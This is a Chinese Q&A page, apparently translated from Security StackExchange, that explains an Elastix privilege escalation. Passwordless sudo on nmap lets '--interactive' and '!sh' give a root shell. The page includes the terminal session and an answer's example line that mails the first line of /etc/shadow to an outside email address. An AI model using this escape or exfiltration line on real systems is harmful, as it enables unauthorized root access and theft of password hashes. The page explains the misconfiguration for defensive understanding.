下面是Elastix上的一个权限提升漏洞:
# id
# uid=100(name) gid=101(name)
# sudo nmap --interactive
# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)普通用户如何使用sudo特权启动nmap?这里到底是什么配置错了?
来源:http://seclists.org/fulldisclosure/2012/Mar/234
发布于 2016-05-10 19:27:55
错误配置可能来自sudoers.conf中的组或用户条目。这是一个控制谁可以做什么的文件(关于sudo)。在这个例子中,从命令(如果没有编辑)判断,sudoers文件包含一个条目,用户星号可以在不输入密码的情况下运行sudo命令。
现在,在nmap --interactive的例子中--这在一段时间前就被删除了。在nmap中,有人可以使用一个逃逸技巧来滥用系统。例如:
nmap> !head -n1 /etc/shadow | mail -s shadow my@emailaddr.com发布于 2022-01-22 17:35:57
如果无法查看sudoers文件,还可以检查用户可以使用sudo -l作为root用户执行哪些命令。在上面的例子中,您可能会看到如下内容:
User x may run the following commands on this host:
(root) NOPASSWD: /usr/bin/nmaphttps://security.stackexchange.com/questions/122881
复制相似问题